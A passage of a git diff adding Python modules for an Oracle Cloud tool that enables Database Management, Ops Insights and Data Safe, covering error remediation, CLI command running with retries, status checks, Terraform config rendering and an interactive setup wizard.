enable.", + ), + Remediation( + "IncorrectState", + "The resource is already in the requested state (e.g. Database Management already enabled).", + "Treat as idempotent and reconcile the connection instead of re-enabling.", + "Re-run enable — it tolerates the already-enabled 409 and reconciles via modify-(pluggable-)database-management.", + ), + Remediation( + "RelatedResourceNotAuthorizedOrNotFound", + "A referenced resource (often a Named Credential) was passed via the wrong CLI body and not resolved.", + "Use the dedicated named-credential preferred-credential verb instead of the generic update.", + "oci database-management preferred-credential update-preferred-credential-update-named-preferred-credential-details " + "--managed-database-id --credential-name PC_READ --named-credential-id .", + ), + Remediation( + "NotAuthorizedOrNotFound", + "Either a transient control-plane 404 (cap dbmgmt/opsi endpoints flap) or a missing IAM policy.", + "Retry once; if it persists, add the Database Management IAM policy for the secret/named credential.", + "Policy: Allow any-user to read secret-family in compartment where ALL " + "{target.secret.id='', request.principal.type='dbmgmtmanageddatabase'}. " + "Also grant the operator group manage dbmgmt-named-credentials + use dbmgmt-managed-databases.", + ), + Remediation( + "InternalError", + "An OCI service-side 500, often transient or caused by an unsupported request shape (e.g. inline BASIC preferred credential).", + "Retry; prefer the Named Credential path over inline BASIC preferred credentials.", + "Create a RESOURCE_PRINCIPAL named credential, then set the preferred credential to reference it " + "(see `dbman-opsi set-credentials`).", + ), +) + + +def remediation_for(error_text: str) -> Remediation | None: + """Return the first remediation whose signature appears in ``error_text``.""" + + for remediation in REMEDIATIONS: + if remediation.signature in error_text: + return remediation + return None + + +def format_remediation(remediation: Remediation) -> str: + return ( + f" ! {remediation.signature}: {remediation.cause}\n" + f" Solution: {remediation.solution}\n" + f" Manual step: {remediation.manual_step}" + ) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/reporting.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/reporting.py new file mode 100644 index 000000000..e3c00ce55 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/reporting.py @@ -0,0 +1,89 @@ +"""Human-readable rendering for preflight and configure reports.""" + +from __future__ import annotations + +from dbman_opsi.checks import CheckResult, PreflightReport +from dbman_opsi.discovery import Inventory +from dbman_opsi.orchestrator import ConfigureReport + +_STATUS_MARK = { + "pass": "PASS", + "fail": "FAIL", + "warn": "WARN", + "manual": "MANUAL", + "skip": "SKIP", +} + +_ACTION_MARK = { + "enabled": "ENABLED", + "ready": "READY", + "handoff": "HANDOFF", + "skip-enabled": "SKIP", + "blocked": "BLOCKED", + "stopped-not-found": "STOPPED", +} + + +def _print_check(check: CheckResult, indent: str = " ") -> None: + mark = _STATUS_MARK.get(check.status, check.status.upper()) + print(f"{indent}[{mark}] {check.name}: {check.detail}") + if check.remediation and check.status in {"fail", "warn"}: + print(f"{indent} -> {check.remediation}") + + +def print_preflight_report(report: PreflightReport) -> None: + print("Tenancy / IAM:") + for check in report.tenancy_checks: + _print_check(check) + print("Network:") + for check in report.network_checks: + _print_check(check) + for target in report.targets: + print(f"Target {target.name} ({target.kind}, {target.location}):") + for check in target.checks: + _print_check(check) + print(f"\nPreflight: {'READY' if report.ok else 'NOT READY'}") + + +def print_inventory(inventory: Inventory) -> None: + shown = [compartment for compartment in inventory.compartments if not compartment.is_empty] + if not shown: + print("No reusable resources discovered in the scanned compartments.") + return + for compartment in shown: + print(f"\n# Compartment: {compartment.name}") + for subnet in compartment.subnets: + access = "private" if subnet.private else "public" + sgw = "SGW ok" if subnet.has_service_gateway else "NO Service Gateway" + print(f" subnet: {subnet.name} ({access}, {sgw}) {subnet.id}") + for vault in compartment.vaults: + print(f" vault: {vault.name} ({len(vault.keys)} key(s)) {vault.id}") + for key_id, key_name in vault.keys: + print(f" key: {key_name} {key_id}") + for database in compartment.databases + compartment.autonomous: + print(f" db: {database.name} [{database.role}] {database.state}; DBM {database.dbm_status} {database.id}") + for pe in compartment.dbm_private_endpoints: + print(f" dbm-pe: {pe.get('name') or pe.get('display-name')}") + for pe in compartment.opsi_private_endpoints: + print(f" opsi-pe: {pe.get('display-name')}") + for agent in compartment.management_agents: + print(f" agent: {agent}") + for bastion in compartment.bastions: + print(f" bastion: {bastion}") + print("\nReuse any of the above by putting its OCID into the config (or pass to the wizard).") + + +def print_configure_report(report: ConfigureReport) -> None: + print_preflight_report(report.preflight) + print(f"\nConfigure ({report.mode}):") + for decision in report.decisions: + mark = _ACTION_MARK.get(decision.action, decision.action.upper()) + print(f" [{mark}] {decision.name}: {decision.reason}") + if report.handoff_paths: + print("\nHandoff packets:") + for path in report.handoff_paths: + print(f" {path}") + if report.data_safe: + print("\nData Safe (security pillar):") + for decision in report.data_safe: + print(f" [{decision.status.upper()}] {decision.target}: {decision.detail}") diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/runner.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/runner.py new file mode 100644 index 000000000..38792d15e --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/runner.py @@ -0,0 +1,206 @@ +"""Command runner for OCI CLI and Terraform calls.""" + +from __future__ import annotations + +import json +import logging +import re +import subprocess +import time +from collections.abc import Callable +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +from dbman_opsi.journal import RunJournal +from dbman_opsi.redact import redact_text + +log = logging.getLogger(__name__) + +CommandExecutor = Callable[[tuple[str, ...], str | None], subprocess.CompletedProcess[str]] + + +class OciError(RuntimeError): + """Base error for failed OCI CLI commands.""" + + +class OciAuthError(OciError): + """Authentication or authorization failure from OCI.""" + + +class OciNotFound(OciError): + """Requested OCI resource was not found.""" + + +class OciThrottled(OciError): + """OCI throttled the request.""" + + +class OciTransient(OciError): + """Likely transient OCI or network failure.""" + + +@dataclass(frozen=True) +class CommandResult: + args: tuple[str, ...] + stdout: str + stderr: str + returncode: int + + def json(self) -> Any: + if not self.stdout.strip(): + return None + return json.loads(self.stdout) + + +class CommandRunner: + def __init__( + self, + dry_run: bool = True, + *, + journal: RunJournal | None = None, + run_id: str | None = None, + clock: Callable[[], float] = time.perf_counter, + sleeper: Callable[[float], None] = time.sleep, + max_attempts: int = 3, + base_delay: float = 0.25, + max_delay: float = 2.0, + executor: CommandExecutor | None = None, + verbose: bool = False, + ) -> None: + self.dry_run = dry_run + self.journal = journal + self.run_id = run_id + self._clock = clock + self._sleeper = sleeper + self.max_attempts = max(1, max_attempts) + self.base_delay = max(0.0, base_delay) + self.max_delay = max(0.0, max_delay) + self._executor = executor or _subprocess_executor + self.verbose = verbose + + def run( + self, + args: list[str], + cwd: str | Path | None = None, + check: bool = True, + retry_on_transient: bool = False, + ) -> CommandResult: + safe_args = tuple(args) + if self.dry_run: + start = self._clock() + result = CommandResult(safe_args, "{}", "", 0) + duration_ms = self._duration_ms(start) + log.info(redact_text("+ " + " ".join(safe_args))) + self._record(safe_args, result.returncode, duration_ms) + self._log_timing(safe_args, result.returncode, duration_ms) + return result + + attempts = self.max_attempts if check else 1 + cwd_value = str(cwd) if cwd else None + for attempt in range(attempts): + try: + return self._run_once(safe_args, cwd_value, check) + except OciError as exc: + if not self._should_retry(exc, retry_on_transient, attempt, attempts): + raise + self._sleeper(self._delay_for_attempt(attempt)) + raise RuntimeError("unreachable retry state") + + def _run_once(self, safe_args: tuple[str, ...], cwd: str | None, check: bool) -> CommandResult: + start = self._clock() + try: + process = self._executor(safe_args, cwd) + except OciError: + duration_ms = self._duration_ms(start) + self._record(safe_args, 1, duration_ms) + self._log_timing(safe_args, 1, duration_ms) + raise + duration_ms = self._duration_ms(start) + self._record(safe_args, process.returncode, duration_ms) + self._log_timing(safe_args, process.returncode, duration_ms) + # Return RAW stdout/stderr: callers parse OCIDs out of this for resource + # joins (discovery's pillar matching, named-credential id lookup, etc.). + # Redaction is a *display* concern and is applied at the print boundary + # (CLI --json output, sanitized config). Redacting here silently collapses + # every OCID to "", which makes OCID-keyed joins match + # everything-to-everything. Error messages are still redacted because they + # are surfaced to the user as text. + if check and process.returncode != 0: + safe_command = redact_text(" ".join(safe_args)) + safe_stderr = redact_text(process.stderr) + message = f"Command failed ({process.returncode}): {safe_command}\n{safe_stderr}" + raise _classify_oci_error(safe_stderr, message) + return CommandResult(safe_args, process.stdout, process.stderr, process.returncode) + + def _should_retry( + self, + exc: OciError, + retry_on_transient: bool, + attempt: int, + attempts: int, + ) -> bool: + if attempt >= attempts - 1: + return False + if isinstance(exc, OciThrottled): + return True + if isinstance(exc, OciTransient): + return retry_on_transient + return False + + def _delay_for_attempt(self, attempt: int) -> float: + return min(self.max_delay, self.base_delay * (2**attempt)) + + def _duration_ms(self, start: float) -> int: + return max(0, int(round((self._clock() - start) * 1000))) + + def _record(self, args: tuple[str, ...], returncode: int, duration_ms: int) -> None: + if self.journal is None: + return + self.journal.record( + argv=args, + returncode=returncode, + duration_ms=duration_ms, + dry_run=self.dry_run, + ) + + def _log_timing(self, args: tuple[str, ...], returncode: int, duration_ms: int) -> None: + if not self.verbose: + return + log.info( + "command returncode=%s duration_ms=%s argv=%s", + returncode, + duration_ms, + redact_text(" ".join(args)), + ) + + +def _classify_oci_error(stderr: str, message: str) -> OciError: + normalized = stderr.lower() + if any(marker in normalized for marker in ("notauthenticated", "forbidden", "not authorized", "notauthorized")): + return OciAuthError(message) + if "notfound" in normalized or "not found" in normalized or re.search(r"\b404\b", normalized): + return OciNotFound(message) + if "toomanyrequests" in normalized or "throttl" in normalized or re.search(r"\b429\b", normalized): + return OciThrottled(message) + if ( + re.search(r"\b5\d{2}\b", normalized) + or "timeout" in normalized + or "timed out" in normalized + or "connection" in normalized + ): + return OciTransient(message) + return OciError(message) + + +def _subprocess_executor( + args: tuple[str, ...], + cwd: str | None, +) -> subprocess.CompletedProcess[str]: + return subprocess.run( + args, + cwd=cwd, + check=False, + capture_output=True, + text=True, + ) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/status.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/status.py new file mode 100644 index 000000000..edd09684f --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/status.py @@ -0,0 +1,131 @@ +"""Accessors for Database Management / Ops Insights status across resource shapes. + +OCI exposes enablement status differently per resource: + +- Autonomous Database: top-level ``database-management-status`` / + ``operations-insights-status``. +- Container/non-CDB database (``db database get``): nested under + ``database-management-config.management-status``. +- Pluggable database (``db pluggable-database get``): nested under + ``pluggable-database-management-config.management-status``. +""" + +from __future__ import annotations + +from typing import Any + +_ENABLED_STATES = {"ENABLED", "ENABLING"} + + +def dbm_status(details: dict[str, Any], kind: str, role: str = "CDB") -> str | None: + """Return the Database Management status for any supported resource shape.""" + + if kind == "autonomous": + return details.get("database-management-status") + if role == "PDB": + config = details.get("pluggable-database-management-config") or {} + else: + config = details.get("database-management-config") or {} + return config.get("management-status") or config.get("database-management-status") + + +def opsi_status(details: dict[str, Any], kind: str) -> str | None: + """Ops Insights status (only carried on the Autonomous Database resource).""" + + if kind == "autonomous": + return details.get("operations-insights-status") + return None + + +def is_enabled(status: str | None) -> bool: + return str(status or "").upper() in _ENABLED_STATES + + +# Lifecycle states that count as an OPSI insight or Data Safe target being "on". +_RESOURCE_ENABLED_STATES = {"ACTIVE", "CREATING", "UPDATING"} + + +def _candidate_ids(record: dict[str, Any]) -> set[str]: + """Collect every OCID a separate resource might use to reference a DB. + + Important: do NOT include the record's own ``id`` — that is the insight/target + OCID, not the database it points at, and including it would never help a match + while risking false positives. The Data Safe ``target-database list`` summary + carries the join key in ``associated-resource-ids`` (the registered DB's OCID), + while the full GET carries it under ``database-details``; OPSI insights carry + it as ``database-id``. Read all of these. + """ + + details = record.get("database-details") or {} + ids: set[Any] = { + record.get("database-id"), + details.get("database-id"), + details.get("db-system-id"), + details.get("autonomous-database-id"), + details.get("vm-cluster-id"), + details.get("infrastructure-id"), + } + associated = record.get("associated-resource-ids") + if isinstance(associated, list): + ids.update(associated) + return {str(value) for value in ids if value} + + +def opsi_insight_status(insights: list[dict[str, Any]], db_id: str) -> str: + """ENABLED if an OPSI insight references ``db_id`` and is in an active state.""" + + for insight in insights: + if db_id in _candidate_ids(insight): + if str(insight.get("lifecycle-state", "")).upper() in _RESOURCE_ENABLED_STATES: + return "ENABLED" + return str(insight.get("lifecycle-state") or "NOT_ENABLED") + return "NOT_ENABLED" + + +def _target_state(target: dict[str, Any]) -> str: + if str(target.get("lifecycle-state", "")).upper() in _RESOURCE_ENABLED_STATES: + return "ENABLED" + return str(target.get("lifecycle-state") or "NOT_ENABLED") + + +def data_safe_status( + targets: list[dict[str, Any]], + db_id: str, + db_system_id: str | None = None, + service_name: str | None = None, +) -> str: + """ENABLED if a Data Safe target-database references this specific DB. + + Data Safe registration is a standalone ``target-database`` resource. Match in + order of precision so a Base Database CDB and its PDBs are attributed + correctly even though they share a DB system OCID: + + 1. **Exact OCID** — the target's database details / associations contain this + DB's OCID (autonomous: ``autonomous-database-id``; or a target keyed by the + DB OCID directly). + 2. **Service name** — the target's ``database-details.service-name`` equals + this DB's service. This disambiguates which PDB (or the CDB root) a + ``DATABASE_CLOUD_SERVICE`` target covers; targets must be GET-enriched for + ``database-details`` to be present (the LIST summary has it null). + 3. **Coarse DB-system fallback** — only for targets that carry *no* + service-name to disambiguate with; keeps a CDB ENABLED when the target + summary could not be enriched. + """ + + coarse_state: str | None = None + for target in targets: + candidate_ids = _candidate_ids(target) + details = target.get("database-details") or {} + target_service = details.get("service-name") + # 1 + 2: precise matches. + if db_id in candidate_ids: + return _target_state(target) + # Oracle service names are case-insensitive (the listener may register + # 'PDB1.x' while the target stored 'pdb1.x'). + if service_name and target_service and target_service.lower() == service_name.lower(): + return _target_state(target) + # 3: remember a coarse DB-system match, but only when this target cannot + # be disambiguated by service name (else it would over-match siblings). + if db_system_id and not target_service and str(db_system_id) in candidate_ids: + coarse_state = _target_state(target) + return coarse_state or "NOT_ENABLED" diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/terraform.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/terraform.py new file mode 100644 index 000000000..df3f722da --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/terraform.py @@ -0,0 +1,54 @@ +"""Terraform rendering and execution helpers.""" + +from __future__ import annotations + +import json +from pathlib import Path + +from dbman_opsi.config import EnablementConfig +from dbman_opsi.iam import terraform_policy_documents +from dbman_opsi.runner import CommandRunner + + +def render_tfvars(config: EnablementConfig) -> dict[str, object]: + target_payload = [ + { + "kind": target.kind, + "name": target.name, + "resource_id": target.resource_id, + "provision": target.provision, + "management_type": target.management_type, + } + for target in config.targets + ] + return { + "tenancy_ocid": config.tenancy_id, + "compartment_ocid": config.compartment_id, + "region": config.region, + "config_file_profile": config.profile, + "create_test_network": config.network.create_test_network, + "vcn_ocid": config.network.vcn_id, + "subnet_ocid": config.network.subnet_id, + "test_vcn_cidr": config.network.cidr_block, + "test_subnet_cidr": config.network.subnet_cidr_block, + "create_vault": config.vault.create_vault, + "vault_ocid": config.vault.vault_id, + "key_ocid": config.vault.key_id, + "targets": target_payload, + **terraform_policy_documents(config), + } + + +def write_tfvars(config: EnablementConfig, terraform_dir: str | Path | None = None) -> Path: + directory = Path(terraform_dir or config.terraform_dir) + directory.mkdir(parents=True, exist_ok=True) + destination = directory / "terraform.tfvars.json" + destination.write_text(json.dumps(render_tfvars(config), indent=2, sort_keys=True), encoding="utf-8") + return destination + + +def run_terraform(config: EnablementConfig, runner: CommandRunner) -> None: + tf_dir = Path(config.terraform_dir) + write_tfvars(config, tf_dir) + runner.run(["terraform", "init"], cwd=tf_dir) + runner.run(["terraform", "apply", "-auto-approve"], cwd=tf_dir) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/tf_outputs.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/tf_outputs.py new file mode 100644 index 000000000..2dfbc3a78 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/tf_outputs.py @@ -0,0 +1,73 @@ +"""Read `terraform output` and merge the created OCIDs back into the config. + +After `provision` applies the stack, Terraform knows the real subnet, VCN, +Database Management private endpoint, and any provisioned database OCIDs. This +closes the loop so `enable`/`configure` pick them up without manual copy-paste. +""" + +from __future__ import annotations + +from dataclasses import replace +from pathlib import Path +from typing import Any + +from dbman_opsi.config import ConfigError, EnablementConfig, Target, validate_config +from dbman_opsi.runner import CommandRunner + + +def read_terraform_outputs(terraform_dir: str | Path, runner: CommandRunner) -> dict[str, Any]: + result = runner.run(["terraform", "output", "-json"], cwd=Path(terraform_dir)) + data = result.json() + return data if isinstance(data, dict) else {} + + +def _value(outputs: dict[str, Any], key: str) -> Any: + entry = outputs.get(key) + if isinstance(entry, dict): + return entry.get("value") + return None + + +def merge_outputs_into_config(config: EnablementConfig, outputs: dict[str, Any]) -> tuple[EnablementConfig, list[str]]: + """Return a new config with Terraform-created OCIDs filled in, plus a change log.""" + + changes: list[str] = [] + network = config.network + subnet_id = _value(outputs, "subnet_ocid") + vcn_id = _value(outputs, "vcn_ocid") + if subnet_id and subnet_id != network.subnet_id: + network = replace(network, subnet_id=subnet_id) + changes.append("network.subnet_id") + if vcn_id and vcn_id != network.vcn_id: + network = replace(network, vcn_id=vcn_id) + changes.append("network.vcn_id") + + pe_id = _value(outputs, "db_management_private_endpoint_ocid") + dbcs_ids = _value(outputs, "provisioned_dbcs_ids") or {} + adb_ids = _value(outputs, "provisioned_autonomous_database_ids") or {} + + new_targets: list[Target] = [] + for target in config.targets: + updates: dict[str, Any] = {} + if pe_id and target.kind in {"dbcs", "exadata"} and not target.private_endpoint_id: + updates["private_endpoint_id"] = pe_id + provisioned_id = dbcs_ids.get(target.name) if target.kind == "dbcs" else adb_ids.get(target.name) + if target.provision and target.kind == "dbcs" and provisioned_id and not target.db_system_id: + updates["db_system_id"] = provisioned_id + if target.provision and target.kind != "dbcs" and provisioned_id and not target.resource_id: + updates["resource_id"] = provisioned_id + if updates: + changes.append(f"target[{target.name}]: {', '.join(sorted(updates))}") + target = replace(target, **updates) + new_targets.append(target) + + merged = replace(config, network=network, targets=tuple(new_targets)) + return merged, changes + + +def validate_merged_config(config: EnablementConfig) -> None: + """Raise ConfigError when imported Terraform values break config validation.""" + + problems = validate_config(config) + if problems: + raise ConfigError(problems) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/validation.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/validation.py new file mode 100644 index 000000000..151f9095a --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/validation.py @@ -0,0 +1,186 @@ +"""Validation checks for configured enablement.""" + +from __future__ import annotations + +import time +from typing import Callable + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.status import dbm_status, opsi_status + + +class ValidationService: + def __init__( + self, + oci: OciCli, + *, + oci_for_region: Callable[[str], OciCli] | None = None, + insight_attempts: int = 5, + insight_delay: float = 2.0, + sleeper: Callable[[float], None] = time.sleep, + ) -> None: + self.oci = oci + self.oci_for_region = oci_for_region or (lambda _region: self.oci) + self.insight_attempts = max(1, insight_attempts) + self.insight_delay = insight_delay + self.sleeper = sleeper + + def validate(self, config: EnablementConfig) -> list[str]: + findings: list[str] = [] + for target in config.targets: + region = target.region or config.region + oci = self.oci_for_region(region) + region_suffix = f" [{region}]" if region != config.region else "" + if target.kind in {"external-db", "external-exadata"}: + agents = oci.list_management_agents(target.compartment_id or config.compartment_id or "") + matched = [agent for agent in agents if target.name.lower() in str(agent.get("display-name", "")).lower()] + if not matched: + findings.append(f"{target.name}{region_suffix}: Management Agent not found yet") + continue + findings.append(f"{target.name}{region_suffix}: Management Agent registered") + elif not target.resource_id: + findings.append(f"{target.name}{region_suffix}: missing resource OCID") + elif target.kind == "autonomous": + details = oci.get_autonomous_database(target.resource_id) + dbmgmt = dbm_status(details, target.kind) or "NOT_ENABLED" + opsi = opsi_status(details, target.kind) or "NOT_ENABLED" + findings.append(f"{target.name}{region_suffix}: Database Management {dbmgmt}; Ops Insights {opsi}") + elif target.kind in {"dbcs", "exadata"}: + if target.database_role == "PDB": + details = oci.get_pluggable_database(target.resource_id) + else: + details = oci.get_database(target.resource_id) + dbmgmt = dbm_status(details, target.kind, target.database_role) or "NOT_ENABLED" + opsi = self._opsi_insight_state(target, config, oci) + findings.append( + f"{target.name}{region_suffix} ({target.database_role}): Database Management {dbmgmt}; " + f"Ops Insights {opsi}" + ) + else: + findings.append( + f"{target.name}{region_suffix}: validate Database Management and Ops Insights status in OCI Console/API" + ) + return findings + + def _opsi_insight_state(self, target: "Target", config: EnablementConfig, oci: OciCli) -> str: + """Resolve the real OPSI Database Insight lifecycle for a DBCS/Exadata target. + + Returns e.g. ``ACTIVE (ENABLED)``, ``FAILED (ENABLED)``, + ``NOT_FOUND (no Database Insight)`` or + ``UNKNOWN (insight query failed; verify in OCI Console)`` so a broken + Ops Insights collection is surfaced instead of hidden behind a generic + "needs validation" message. + + The cap OPSI ``database-insights list`` control plane is *unreliable*: it + flaps between the full set, a partial set, and an exit-0 empty list (and + sometimes ``NotAuthorizedOrNotFound``) for the same compartment, call to + call (see KB / runbook "Known cap quirk"). A single-resource + ``database-insights get`` by insight OCID, by contrast, is reliable + (10/10 in cap). So: + + 1. If the insight OCID is known (``target.opsi_database_insight_id`` in + config, or discovered from a positive list hit), read state with the + reliable GET. This is the authoritative path. + 2. Otherwise fall back to the flapping list with a verdict model that + never emits a *false* NOT_FOUND: + + * **Positive is authoritative** — a ``database-id`` can't appear + unless the insight exists; resolve its OCID and GET it. + * **Negative needs stability** — only ``NOT_FOUND`` when the list + returns the *same* non-empty id-set on ≥2 attempts without our + database (endpoint behaving, insight genuinely gone). + * **Everything else is ``UNKNOWN``** — empty/erroring reads or a + varying id-set mean the endpoint is dropping entries. + """ + + compartment = target.compartment_id or config.compartment_id or "" + if not compartment: + return "UNKNOWN (no compartment in config)" + + # 1. Authoritative path: GET by known insight OCID. + if target.opsi_database_insight_id: + state = self._insight_state_by_id(oci, target.opsi_database_insight_id) + if state is not None: + return state + + # 2. Fall back to the flapping list to discover the insight / decide absence. + # A negative verdict (NOT_FOUND) is only safe from a *clean* window: + # every attempt answered, every answer was a complete per-state union + # (no skipped lifecycle state), non-empty, and the same id-set — and our + # database was reproducibly absent. Any empty / erroring / incomplete / + # varying read makes the window inconclusive (UNKNOWN), never a false + # NOT_FOUND. A positive id match is always authoritative. + answered_id_sets: list[frozenset[str]] = [] + clean_window = True + for attempt in range(self.insight_attempts): + insights, complete = self._list_insights(oci, compartment) + for insight in insights or []: + if insight.get("database-id") == target.resource_id: + # Positive hit: prefer the reliable GET for the real state. + insight_id = insight.get("id") + if insight_id: + state = self._insight_state_by_id(oci, str(insight_id)) + if state is not None: + return state + state = insight.get("lifecycle-state") or "UNKNOWN" + status = insight.get("status") or "UNKNOWN" + return f"{state} ({status})" + if insights and complete: + answered_id_sets.append(frozenset(str(i.get("database-id")) for i in insights)) + else: + # Empty, erroring, or incomplete (a lifecycle state was skipped, so + # an insight could be hiding in it) — cannot prove absence. + clean_window = False + if attempt < self.insight_attempts - 1: + self.sleeper(self.insight_delay) + + if ( + clean_window + and len(answered_id_sets) >= 2 + and all(s == answered_id_sets[0] for s in answered_id_sets) + ): + return "NOT_FOUND (no Database Insight)" + return "UNKNOWN (insight query failed; verify in OCI Console)" + + def _list_insights(self, oci: OciCli, compartment: str) -> tuple[list[dict[str, object]], bool]: + """Return ``(insights, complete)`` from the OPSI list facade. + + Uses :meth:`OciCli.list_opsi_database_insights_complete` when available so + an incomplete per-state union (a skipped lifecycle state) is flagged and + never trusted for a negative verdict; otherwise degrades to the plain list + (treated as complete, with a RuntimeError counted as an erroring read). + """ + + complete_getter = getattr(oci, "list_opsi_database_insights_complete", None) + if complete_getter is not None: + try: + insights, complete = complete_getter(compartment) + except RuntimeError: + return [], False + return list(insights or []), bool(complete) + try: + return list(oci.list_opsi_database_insights(compartment) or []), True + except RuntimeError: + return [], False + + def _insight_state_by_id(self, oci: OciCli, insight_id: str) -> str | None: + """Read an insight's state via the reliable single-resource GET. + + Returns ``" ()"`` or ``None`` when the GET could not + be read (so the caller can fall back to the list path). + """ + + getter = getattr(oci, "get_opsi_database_insight", None) + if getter is None: + return None + for _ in range(2): + try: + detail = getter(insight_id) + except RuntimeError: + detail = {} + if detail: + state = detail.get("lifecycle-state") or "UNKNOWN" + status = detail.get("status") or "UNKNOWN" + return f"{state} ({status})" + return None diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/wizard.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/wizard.py new file mode 100644 index 000000000..b606aef9e --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/wizard.py @@ -0,0 +1,607 @@ +"""Interactive planning wizard.""" + +from __future__ import annotations + +import re +from collections.abc import Callable +from dataclasses import dataclass + +from dbman_opsi.config import ( + DEFAULT_SERVICES, + EnablementConfig, + NetworkSelection, + Service, + Target, + VaultSelection, +) +from dbman_opsi.conn import service_name_from_record +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.oci_util import safe_lookup + +_VALID_SERVICES = ("dbm", "opsi", "datasafe") +_DEFAULT_POLICY_GROUP = "dbman-opsi-admins" +_REQUIRED_POLICY_NEEDLES = ("service dpd", "service operations-insights") + + +@dataclass(frozen=True) +class _TargetDraft: + kind: str + name: str + provision: bool + selected: dict[str, object] | None + compartment_id: str + resource_id: str | None + service_name: str | None + monitoring_user: str | None + + +@dataclass(frozen=True) +class _EndpointSelections: + password_secret_id: str + private_endpoint_id: str + opsi_private_endpoint_id: str + data_safe_private_endpoint_id: str + + +def _ask_services() -> tuple[Service, ...]: + """Prompt for which observability/security/management pillars to enable. + + 'dbm' = Database Management, 'opsi' = Operations Insights, 'datasafe' = Data + Safe. Defaults to DBM + OPSI; Data Safe (security) is opt-in. + """ + + raw = _ask( + "Enable which pillars? comma-separated from dbm,opsi,datasafe", + ",".join(DEFAULT_SERVICES), + ) + chosen = tuple(s.strip().lower() for s in raw.split(",") if s.strip() in _VALID_SERVICES) + return chosen or DEFAULT_SERVICES # type: ignore[return-value] + + +def _safe_discover( + description: str, callback: Callable[[], list[dict[str, object]]] +) -> list[dict[str, object]]: + def print_error(exc: Exception) -> None: + print(f"Could not discover {description}: {exc}") + + return safe_lookup(callback, [], on_error=print_error) + + +def _active(items: list[dict[str, object]]) -> list[dict[str, object]]: + """Keep resources a user can reasonably select in an interactive wizard.""" + + terminal = {"DELETED", "TERMINATED", "TERMINATING"} + return [item for item in items if str(item.get("lifecycle-state", "")).upper() not in terminal] + + +def _ask(prompt: str, default: str | None = None) -> str: + suffix = f" [{default}]" if default else "" + value = input(f"{prompt}{suffix}: ").strip() + return value or (default or "") + + +def _ask_bool(prompt: str, default: bool = False) -> bool: + value = _ask(prompt, "yes" if default else "no").lower() + return value in {"y", "yes", "true", "1"} + + +def _label(item: dict[str, object]) -> str: + name = item.get("display-name") or item.get("name") or item.get("secret-name") or item.get("db-name") or "unnamed" + lifecycle = item.get("lifecycle-state") or item.get("status") or "" + identifier = item.get("id") or "" + short_id = f"...{str(identifier)[-12:]}" if identifier else "" + extra = item.get("_extra") or "" + return f"{name} {lifecycle} {extra} {short_id}".strip() + + +def _append_extra(item: dict[str, object], extra: str) -> dict[str, object]: + current = str(item.get("_extra") or "") + return {**item, "_extra": f"{current} {extra}".strip()} + + +def _search_scope( + selected: dict[str, object] | None, + selected_id: str, + compartments: list[dict[str, object]], +) -> list[dict[str, object]]: + primary = selected or {"id": selected_id, "name": "selected"} + primary_id = str(primary.get("id")) + rest = [c for c in _active(compartments) if str(c.get("id")) != primary_id] + return [primary, *rest] + + +def _discover_across_compartments( + description: str, + compartments: list[dict[str, object]], + callback: Callable[[str], list[dict[str, object]]], +) -> list[dict[str, object]]: + discovered: list[dict[str, object]] = [] + for compartment in compartments: + compartment_id = str(compartment.get("id") or "") + compartment_name = str(compartment.get("name") or compartment.get("display-name") or compartment_id) + for item in _safe_discover(f"{description} in {compartment_name}", lambda cid=compartment_id: callback(cid)): + discovered.append( + _append_extra( + {**item, "_compartment_id": compartment_id, "_compartment_name": compartment_name}, + f"(compartment: {compartment_name})", + ) + ) + return discovered + + +def _dedupe_scope(compartments: list[dict[str, object]]) -> list[dict[str, object]]: + seen: set[str] = set() + result: list[dict[str, object]] = [] + for compartment in compartments: + compartment_id = str(compartment.get("id") or "") + if not compartment_id or compartment_id in seen: + continue + seen.add(compartment_id) + result.append(compartment) + return result + + +def _discover_policy_group( + oci: OciCli | None, + tenancy_id: str, + search_compartments: list[dict[str, object]], +) -> str: + if not oci: + return _DEFAULT_POLICY_GROUP + scope = _dedupe_scope([{"id": tenancy_id, "name": "tenancy"}, *search_compartments]) + policies = _discover_across_compartments("IAM policies", scope, lambda cid: oci.list_policies(cid)) + statements = "\n".join( + str(statement) + for policy in policies + for statement in policy.get("statements", []) + ) + lowered = statements.lower() + missing = [needle for needle in _REQUIRED_POLICY_NEEDLES if needle not in lowered] + if not policies: + print("IAM policies: none discovered in tenancy/accessible compartments") + elif not missing: + print("IAM policies: required DBM/OPSI service-principal statements discovered") + else: + print(f"IAM policies: missing service-principal statements for {', '.join(missing)}") + groups = _policy_groups_from_statements(oci, statements) + if groups: + print(f"IAM policy groups discovered: {', '.join(_policy_group_display(group) for group in groups)}") + return groups[0] + return _DEFAULT_POLICY_GROUP + + +def _policy_group_display(group: str) -> str: + if group.startswith("id ocid1.group"): + return f"id ...{group[-12:]}" + return group + + +def _policy_groups_from_statements(oci: OciCli, statements: str) -> list[str]: + named_groups = { + group.strip().strip("'\"") + for group in 